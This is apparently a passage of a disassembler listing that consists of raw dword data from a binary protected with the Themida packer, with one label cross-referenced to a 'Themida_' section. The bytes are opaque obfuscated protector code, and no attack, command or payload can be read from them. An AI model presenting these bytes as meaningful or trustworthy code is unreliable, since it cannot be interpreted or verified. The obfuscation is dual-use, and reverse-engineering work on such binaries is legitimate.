		dd 6, 2415BD8Bh, 613C0935h, 0BD830Fh, 0FA8B0000h, 128D8D89h
		dd 0B60F0935h, 6BAC8h, 95090000h, 9352EA1h, 0C1F9C18Bh
		dd 0BD8B04E8h, 9351039h, 89E2F766h, 35006DBDh, 66C82B09h
		dd 8B3969BFh, 95BD89D1h, 0E909351Fh, 7Fh, 4C44858Bh, 0B5895F4Ch
		dd 9352405h, 5E9h, 71F3700h, 0C083F0A9h, 0EE907h, 4C2C0000h
		dd 70582CB5h, 0F700FBE7h, 57F87BC5h, 8900C083h,	3516199Dh
		dd 0FD03B09h, 0E83h, 0E9D88B00h, 3Bh, 1800Fh, 8BF50000h
		dd 0FFFFFF8Dh, 0BD9D8BFFh, 83093502h, 840F01E1h, 1Fh, 2B00D381h
		dd 0A58377B8h, 0FFFFFFFFh, 45BB66FEh, 0DFBF0F0Fh, 4C449589h
		dd 0E95F4Ch, 8D000000h,	396C02B5h, 2DBD8B09h, 6A093501h
		dd 7E900h, 5BEB0000h, 0CFD8485Ah, 2995FFBAh, 0B9093508h
		dd 1005h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	79C35141h, 5B4EF101h, 611F01DFh, 0C8D8501h, 0E1830935h
		dd 1D9D89FCh, 0FC09350Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 96C35343h, 0F5BB6605h, 60C02BBDh, 8D89E88Ah
		dd 9351219h, 0BA61h, 0CE90000h,	62000000h, 50AC2C69h, 6898037Fh
		dd 0AD0EE9D2h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0FC6C356h, 0E780DABFh, 880DE9h, 9E90000h, 8000000h
		dd 607E76DBh, 0E6D7EF37h, 1629958Bh, 6A0935h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0A2655BC3h
		dd 287D8D8Bh, 9E90935h,	0F7000000h, 0EEAE6159h,	16AAEF74h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 467C0CC3h, 4C561D4Bh, 1AB34127h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0D6C35646h,	49BD83CBh, 93512h
		dd 7A840Fh, 9D330000h, 9351B1Dh, 0B8h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 99679504h, 0A149DD0Ah, 37EF80A7h, 4C028D8Dh,	6A0935h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0E5617EC3h, 6AE1FF71h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 1217C351h, 53D73278h
		dd 2255BD83h, 0F000935h, 40D84h, 18D8900h, 83093505h, 352255BDh
		dd 840F0109h, 415h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0BBC35242h, 52B792B4h, 2255BD83h, 0F030935h
		dd 3B286h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 8F71D240h, 818CBFC4h, 353C62DBh
		dd 198D890Ch, 60093505h, 10E9h,	39E03700h, 9BAC4500h, 49AB6F72h
		dd 0B251AB97h, 0D98C66A4h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0A8C35141h, 0DBBF0F52h, 6A04E180h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 91EBC351h, 0D0D8B31Bh, 0FC90ADAh, 10A84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 633BAEA4h, 0CE9h, 5A966A00h,	55DD3E45h, 1C9FAFDEh, 61858B8Ch
		dd 6A09352Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 8837C355h, 11540D27h, 0D7D8533h
		dd 0C7810935h, 2F68FE8Fh, 0EE950h, 704C0000h, 0B0FEE8ABh
		dd 36A02634h, 0D4688AFDh, 8B240489h, 3502D99Dh,	0FB8B6609h
		dd 0BF60006Ah, 762C5A84h, 1880Fh, 61F90000h, 0B7C5A368h
		dd 2E62BB3Dh, 3481731Eh, 0A8C65C24h, 51006A3Dh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0FE091CEh
		dd 283h, 8BFB8B00h
		dd 0DD95FFDFh, 8909350Ch, 38B76F85h, 1D1E909h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0D76405C3h, 0E3BFC105h, 0BD8BAB73h, 93502C9h, 8BFB8B66h
		dd 38B76785h, 1800C709h, 0E8000000h, 12h, 52AAD3A1h, 0DA8DBAF5h
		dd 27D97379h, 7873C204h, 9D89EDADh, 9350D3Dh, 6BB58B5Bh
		dd 6A0938B7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 6458C357h, 0B92D76F8h,	3DBD8944h
		dd 8B093500h, 3524D585h, 51858909h, 8909350Bh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 315E7D54h, 0FE59D23h, 858B0935h, 9352B61h, 6E9h, 0EC454000h
		dd 994E482h, 35269995h,	4468909h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 31C35141h, 17CD1675h, 0D5618EBEh
		dd 0A51BD89h, 0BD0B0935h, 9352E45h, 0FE8B6650h,	89243489h
		dd 3516AD95h, 67B5FF09h, 0B70938B7h, 6CBF6646h,	82266812h
		dd 60607F34h, 0CBB96160h, 610031F8h, 61CE8B66h,	0D9243481h
		dd 6A7F2B81h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 653EC352h, 65AEE617h, 0BF661447h
		dd 0BF0F8121h, 6F858DD8h, 330938B7h, 3500459Dh,	0D98B6609h
		dd 5E990h, 0DD710000h, 503C9D7Eh, 0BE8h, 9A542000h, 0F53CE243h
		dd 0AC811804h, 905FF98Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0D2C35747h, 61E00F04h, 5B3F87B7h, 0DD95FF3Eh
		dd 0E909350Ch, 13h, 1E35782Bh, 0B0A9C742h, 0D327FE49h
		dd 7E01DC50h, 61D1C4D9h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0C3C35747h, 80AC3008h, 85C73AD7h, 9352255h
		dd 3, 0BD89DF8Bh, 9352951h, 0B76FBD83h,	0F000938h, 2E84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 541A94C7h, 21E1BB66h, 21E9h, 159D0900h
		dd 50093528h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 0BD8BC08Bh, 9350CE9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0BBC35343h,	12E8h, 7AE2C900h
		dd 2BAE147Dh, 43015B88h, 0E0DE2CD3h, 5F88E366h,	11699589h
		dd 0BD830935h, 9352255h, 0A9850F03h, 6A000004h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0B590C357h, 0E9F46208h, 12h,	0ECDDBF1Bh, 2EAF277Ah
		dd 87D3AC9Dh, 722CE70Bh, 0BD8312EAh, 938B76Fh, 65840F00h
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 8428C357h, 704DDB81h, 0B5FF7B0Fh
		dd 938B76Fh, 0FFFABF0Fh, 352E1195h, 418D8909h, 8B09351Fh
		dd 38B763B5h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0A9A6D195h, 56D61E61h, 106C75Bh
		dd 6A000100h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0CDBC356h, 0C3813913h,	68E0F80h
		dd 1000000h, 3516C985h,	0DE89609h, 2E000000h, 69EFC990h
		dd 49A07FB7h, 713B040Eh, 505B0CB3h, 53006A96h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 80345AEFh
		dd 0E9907979h, 0Bh, 44CB1029h, 0F4F0CDB9h, 0FFA73728h
		dd 38B76FB5h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 5B3E1B56h, 0F9E5252Fh, 28995FFh
		dd 6A0935h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0BC1E47C3h, 0F99D0340h, 2B09350Fh, 3523F19Dh
		dd 63B58B09h, 6A0938B7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0F310C351h,	335BD8Bh
		dd 0BD8B0935h, 9351DE9h, 0E99858Bh, 810F0935h, 6, 23619589h
		dd 86890935h, 0C4h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 71C35747h, 0BD896060h, 9351B0Dh, 8B6129B4h
		dd 35162995h, 0CD8D8909h, 83093502h, 6A04C2h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 95FD4C3h
		dd 35333985h, 499D8B09h, 8909352Fh, 6A2050h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 6A31BFC3h
		dd 7A279F80h, 7858DC0h,	6A0938CCh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0AB49C350h
		dd 8689FC93h, 0B8h, 6A006Ah, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0C59408C3h, 1DBD8BFAh
		dd 0FF093506h, 38B76FB5h, 50006A09h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0FF44F157h
		dd 2B6BD8A4h, 0BE917h, 0D0920000h, 600A0A54h, 0FAA4D1C3h
		dd 0CF81669Eh, 0D88A54A7h, 115195FFh, 6A0935h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0CDF93DC3h, 0DCCDEDB0h, 66CB8166h, 0C8D0F3Dh, 0F000000h
		dd 68Ah, 81BD8B00h, 5009352Eh, 14E8h, 8ADB7C00h, 0D0209206h
		dd 16BD2DB2h, 2F8F6245h, 99B2A489h, 0F52506Fh, 0F1BF6631h
		dd 5B585ACBh, 0F243489h, 0B5FFFBB7h, 938B76Fh, 0B5595FFh
		dd 0BB600935h, 7356FD69h, 0A2C4BF66h, 79BD8361h, 93500h
		dd 5B840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1C0424h, 50400000h, 549A67C3h, 96CC4D74h, 953158E4h
		dd 93505C9h, 3890F50h, 66000000h, 3489DF8Bh, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 42C8198h, 4F7192B1h,	6FB5FFAFh, 800938B7h, 95FFB7F7h
		dd 9351C35h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	9C35646h, 0D91F29EFh, 12B99531h, 0B5FF0935h, 938B76Fh
		dd 0BE9h, 0AA2D6100h, 0F05199ECh, 0C50CD5A8h, 2CE595FFh
		dd 9D290935h, 9351269h,	26BDBD83h, 0F020935h, 5484h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0E8607CADh, 0Eh, 9CAF8572h, 844C0DAFh, 0EF014F03h, 0F18B0271h
		dd 0DB50359h, 61093530h, 26AD858Bh, 89570935h, 351E019Dh
		dd 0B5295F09h, 93502B1h, 8B0000C6h, 6585C7FAh, 93532h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0A34FC351h, 50342A6Ah,	0FFF36AE9h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 81EFD13Ch, 8BFFF5D9h, 6BF66DFh, 6AC18B34h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0EFF0C356h, 0FAB70FF6h, 2659858Dh, 23B70935h
		dd 0E8605190h, 14h, 7CC52E47h
		dd 73C413C9h, 3B021BBAh, 83F5B507h, 5BE3673Fh, 61616059h
		dd 85B3505Fh, 11E990h, 0CBC20000h, 0F092B60Eh, 5BEFC63h
		dd 4EAC0232h, 6A713868h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0D3FBB850h, 0AE97D24h
		dd 34000000h, 37FDE565h, 50CD1962h, 6A006A36h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 19EBC350h, 765565E4h, 0BB97D800h, 36CCB35Dh,	54D858Dh
		dd 6A093Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0F862AAC3h, 0E805C083h, 0Dh, 0DE89B9C8h
		dd 0AD1DE0BBh, 462F880h, 89505B1Fh, 0B70F2404h,	6A006AFEh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 86F5C353h, 3A5480F9h, 8BFB1998h, 3504B5BDh
		dd 719D3309h, 6A093501h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0B8F71D32h, 668513B8h
		dd 58F0FBEh, 66000000h,	1DEBC381h, 33195FFh, 9E80935h
		dd 62000000h, 569254F8h, 0FB13A6ABh, 2F9D9529h,	8D5F0935h
		dd 389AAB8Dh, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 68B0F98h,	9000000h, 351EED9Dh, 6AD1FF09h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0C72C356h, 69883918h, 238C00AAh, 3516959Dh
		dd 19BD8309h, 109351Ch,	0E1850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 7E9C50C3h
		dd 6A026A4Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0EDD5C351h, 0CA761FE0h, 0DE996CAh
dword_58EA80	dd 6000000h, 0A1506E10h, 0CE50B568h, 1AC6B7Bh, 7E890h
					; DATA XREF: Themida_:00549FF0o
		dd 0CA060000h, 4EBD957Ah, 8B6660CFh, 505F61D8h,	880F60h
		dd 0B6000000h, 6A906101h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 27BFC357h, 79947C5Ah
		dd 858999E5h, 935244Dh,	115195FFh, 6A0935h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 1E5F50C3h
		dd 2E359D8Bh, 12E80935h, 11000000h, 0A93F90Bh, 1191C19Fh
		dd 3B00397h, 626023DBh,	0E95BF51Ch, 0D3Ch, 0E8h, 0ED815D00h
		dd 93A0557h, 22DDBD03h,	0BD8B0935h, 9350039h, 0DE9h, 0E203A900h
		dd 5C8DDC7Ch, 344EC062h, 890F5194h, 0Ch, 68A0Fh, 0F3810000h
		dd 38A66780h, 932B858Dh, 6A0938h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 50FB9CC3h, 310F5250h
		dd 8E9EBF66h, 489585Ah,	64DE8B24h, 35FFh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0D977CBC3h, 0EC9182D3h, 0FA8B522Eh, 2589645Bh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0EAC35141h
		dd 300985FFh, 860F0935h, 2, 0B70FDA8Bh,	8BFF6ADAh, 351B39BDh
		dd 0F1BD8B09h, 0FF093532h, 350A69B5h, 0FFF88B09h, 352EB995h
		dd 107E909h, 8B660000h,	6600B0FEh, 70E6FE8Bh, 6181BF66h
		dd 8B5371E4h, 352A65BDh, 613C5F09h, 0E7830Fh, 0BD8B0000h
		dd 9352409h, 11598589h,	0B60F0935h, 0BE9C8h, 55700000h
		dd 0E758C953h, 84D7893h, 6BAEAh, 8D0F0000h, 6, 2CCD8D29h
		dd 0C18B0935h, 0FD19D8Bh, 0E8C10935h, 3DB58904h, 66093504h
		dd 0C82BE2F7h, 0EADB8166h, 89D18B05h, 352D2DBDh, 0A3C38109h
		dd 0E936704Dh, 89h, 8442EF81h, 8B664CC0h, 50858BF9h, 0F47554Ch
		dd 0C083DAB7h, 2D9D8B07h, 8B09352Dh, 350D319Dh,	0C08309h
		dd 5850Fh, 3EBB0000h, 0F41E7DAh, 0D03BDEBFh, 1B830Fh, 5E90000h
		dd 0
a1zS@		db 'р1╖щИ@',0
		align 4
		dd 39B58900h, 29093511h, 351BA18Dh, 0FF8D8B09h,	89FFFFFFh
		dd 350DADB5h, 1E18309h,	1F840Fh, 0BFBB0000h, 837CD09Dh
		dd 0FFFFFFA5h, 0DF8BFEFFh, 4C509589h, 0BD8B4755h, 9351B7Dh
		dd 0E9h, 7B58D00h, 6A09397Ch, 3E85600h,	20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 3B28C356h, 3F909495h
		dd 0E9E086AAh, 6, 0F6F63540h, 6A0331h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 20C35747h, 820F4974h, 0Bh
		dd 0F78B6660h, 22B9BD89h, 0FF610935h, 35082995h, 10A7B909h
		dd 8B660000h, 0FCE183DFh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0B3C35646h, 0B6ECD9D6h, 535007F0h, 0E9BCC781h
		dd 0E95F1590h, 0Dh, 8CBF4C1h, 32D78B28h, 56CC8DCCh, 14E9FDh
		dd 0F16D0000h, 0FA428362h, 74E3328Ch, 2C42B542h, 0A8F3E4BFh
		dd 31FC5F1Eh, 3508998Dh, 6AC02B09h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 8FE0C356h
		dd 54FDB0BDh, 23FD9D8Bh, 0BA0935h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0A2F4C351h, 899504D0h, 352951BDh, 18D0F09h, 0F9000000h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 9E9h, 0F669FC00h
		dd 57C56BF2h, 9D0BE3EEh, 9352C6Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 11C35141h, 0D3B5901h, 88h
		dd 1629958Bh, 8B660935h, 7D8D8BFBh, 6A093528h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 85F4C353h, 830FA1B1h, 5, 5C751BBFh, 0C28B5051h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 177AD781h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0EEC35040h, 0AC2A32FDh
		dd 9CAD6136h, 11952925h, 8309350Fh, 351249BDh, 840F0009h
		dd 9Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
		dd 7EC35747h, 0B5295753h, 9350CB9h, 0B85Fh, 31520000h
		dd 352DFDBDh, 8D8D5B09h, 9354C02h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 2AC35545h, 0AA73342Bh, 0FFFB8B72h
		dd 57006AE1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 7F78059Ch, 0BD8B93BBh, 93515FDh,	0EE8h
		dd 0C6B1B00h, 5B59703h,	0A68B4967h, 8B8452F3h, 351B059Dh
		dd 0BD835B09h, 9352255h, 16840F00h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 3D63C353h, 2D2D9D8Bh, 0BD830935h, 9352255h, 1840F01h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 332FC350h, 8501EF5Eh, 93500F1h
		dd 2255BD83h, 0F030935h, 39986h, 959D8B00h, 6009352Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 13C35242h
		dd 12C59589h, 8C660935h, 0BBF88BD9h, 1E226AD8h,	6A04E180h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 6636C355h, 0ACD9BBFh, 0FB840FC9h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 6B1BC351h, 0B597030Ch, 9D896705h,	935268Dh
		dd 2B61858Bh, 95890935h, 9352875h, 0D7D8533h, 81660935h
		dd 661EFFDFh, 50DB2BBFh, 128D77BFh, 24048915h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0AAC35343h, 8B667A2Fh
		dd 0BF006AD9h, 2D1121Eh, 4E8h, 1F03FF00h, 8B665200h, 8B505BDFh
		dd 0E9042444h, 0Fh, 350F7F6Ch, 4CD059Bh, 0EA781AB0h, 8BA2E360h
		dd 6E800h, 0ADBC0000h, 5F0422C9h, 2444895Fh, 95FF5804h
		dd 9350CDDh, 0B76F8589h, 13E90938h, 3A000000h, 0FAB657Ah
		dd 1F436DA1h, 49BFA773h, 8BD3B033h, 0ABE9B7D0h,	6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 75B6C352h, 0F799D8Bh, 858B0935h, 938B767h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F4C35242h
		dd 9B57A862h, 0B858A47Fh, 1681BD89h, 8E0F0935h,	15h, 0F8D0Fh
		dd 9E80000h, 34000000h,	98405E2Ah, 92A0E23Fh, 1800C75Bh
		dd 66000000h, 8B486CBFh, 38B76BB5h, 5FA5BB09h, 9D8B57C3h
		dd 9350C51h, 24D5858Bh,	0BB660935h, 68993B1h, 8B0BB460h
		dd 352D119Dh, 858B6109h, 9352B61h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 46C35040h, 72E251FBh, 0EB4883F0h
		dd 9EB0BBBh, 446891Bh, 5FC38166h, 52505010h, 585A310Fh
		dd 6A243489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 8343C356h, 73D6BD6Dh, 5FA3324Ch
		dd 33419D8Bh, 0B5FF0935h, 938B767h, 8E0FF860h, 6, 820Fh
		dd 68610000h, 0E027878Bh, 950BBB66h, 74240481h,	0E91FF77Ch
		dd 5, 71522E0Ah, 0DE80Fh, 60A0000h, 0F0B9F112h,	2EBBCCC0h
		dd 605C94B1h, 820F6160h, 0
		dd 858D5F61h, 938B76Fh,	0EB4256BBh, 0BF515016h,	683C7709h
		dd 2404895Bh, 0FFFEB70Fh, 350CDD95h, 51006A09h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0B50EE8DBh
		dd 0E8248726h, 8, 0CAB5DA51h, 7E3D0FF7h, 0BB665FF8h, 6A619913h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 9716C356h, 5FC523EEh, 8166A77Dh, 52C1F0F7h
		dd 2785B589h, 0C75B0935h, 35225585h, 309h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0E6D034AAh, 8D8B6060h, 9350351h, 161F78Ah, 352D598Dh
		dd 0BD836109h, 938B76Fh, 3F840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0F71CC357h, 37E9C1h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 3050E6C3h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 66DB989Ch, 29C6A624h, 3506BDB5h, 55BD8909h, 0E9093512h
		dd 12h,	46A9D34h, 4FC49FE7h, 2BE86E38h,	0BA805F72h, 0BD835B6Ah
		dd 9352255h, 0DD850F03h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 515CC351h
		dd 9CFEBFDDh, 0BD834637h, 938B76Fh, 0AD840F00h,	0F000003h
		dd 89h,	6FB5FF00h, 0F0938B7h, 95FFFBB7h, 9352E11h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 63C35747h, 67E99D6Dh
		dd 63B58B7Dh, 8B0938B7h, 106C7F9h, 6A000100h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 3F19C350h, 6810FBDh,	81000000h, 0C49DD0D3h, 0CE954h
		dd 0D2850000h, 0F2A750C4h, 0BD8207B2h, 0E9968745h, 14h
		dd 0B2AA33BBh, 73206B6Fh, 142ACA56h, 5ABC386Dh,	0E80BBA83h
		dd 8B665650h, 66965FF9h, 6A84C381h, 0B76FB5FFh,	0B70F0938h
		dd 8995FFDBh, 6A093502h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 2D8AC357h, 993A3745h
		dd 63B58B67h, 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0BB04C355h,	0E91A63A6h
		dd 11h,	8970DA4Ah, 0FF3BDA17h, 0E9B009D5h, 0B0C5AA3Ch
		dd 99858BD5h, 0F09350Eh, 589h, 0E3816600h, 8689F8D9h, 0C4h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0D3C35141h
		dd 8D898C03h, 93512A1h,	8BFFBF0Fh, 35162995h, 53006A09h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 832FA93Ch, 838F1139h, 0BD8B04C2h, 9350481h, 0E8205089h
		dd 9, 0ED3B2063h, 1F745EF6h, 3DDB81BAh,	5F4A5782h, 0CC07858Dh
		dd 0BD8B0938h, 9352DF5h, 0B88689h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0DC85E1C3h
		dd 92CF424h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0FE05F2C3h, 0E6D53ACBh, 0AE9h, 9911BB00h
		dd 74129B8Ch, 0FF84B8F3h, 38B76FB5h, 15D78009h,	115195FFh
		dd 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 205336C3h, 0AE94F8Bh, 1E000000h, 0DACEC152h
		dd 75AF147Ch, 4870FA4h,	66000000h, 5094DABFh, 3489DE8Bh
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0F87BC5F7h, 0FF91AB57h, 38B76FB5h, 95BD0109h
		dd 0FF093501h, 350B5595h, 71F38009h, 79BD83h, 0F000935h
		dd 2584h, 0C99D8900h, 50093511h, 11E9h,	93097600h, 3C45905Ah
		dd 0F32575E6h, 2013E51Bh, 3489674Bh, 0F8535624h, 0B5FF5B5Fh
		dd 938B76Fh, 391BD8Bh, 95FF0935h, 9351C35h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E2C35545h, 0A5BD8B50h
		dd 5B093510h, 0BF66F98Bh, 0B5FFD6ACh, 938B76Fh,	2411B589h
		dd 95FF0935h, 9352CE5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 4AC35040h, 0BD89D402h, 9351DC1h, 26BDBD83h
		dd 0F020935h, 6784h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 18B6E4D4h, 664E27B3h
		dd 8BB9C9BFh, 3526AD85h, 5E809h, 36880000h, 0BFEE5015h
		dd 6DEC8C7Ch, 0C65Bh, 0E850006Ah, 3, 58C35820h,	4244489h
		dd 4244481h, 15h, 23C35040h, 58D0FC4h, 0BF000000h, 627A6E4Eh
		dd 326585C7h, 935h, 0B5010000h,	93503BDh, 0FFF3B0E9h, 898589FFh
		dd 6009352Eh, 1D1BF0Fh,	350509B5h, 0C18B6109h, 0C58D8952h
		dd 5F093511h, 2659858Dh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h
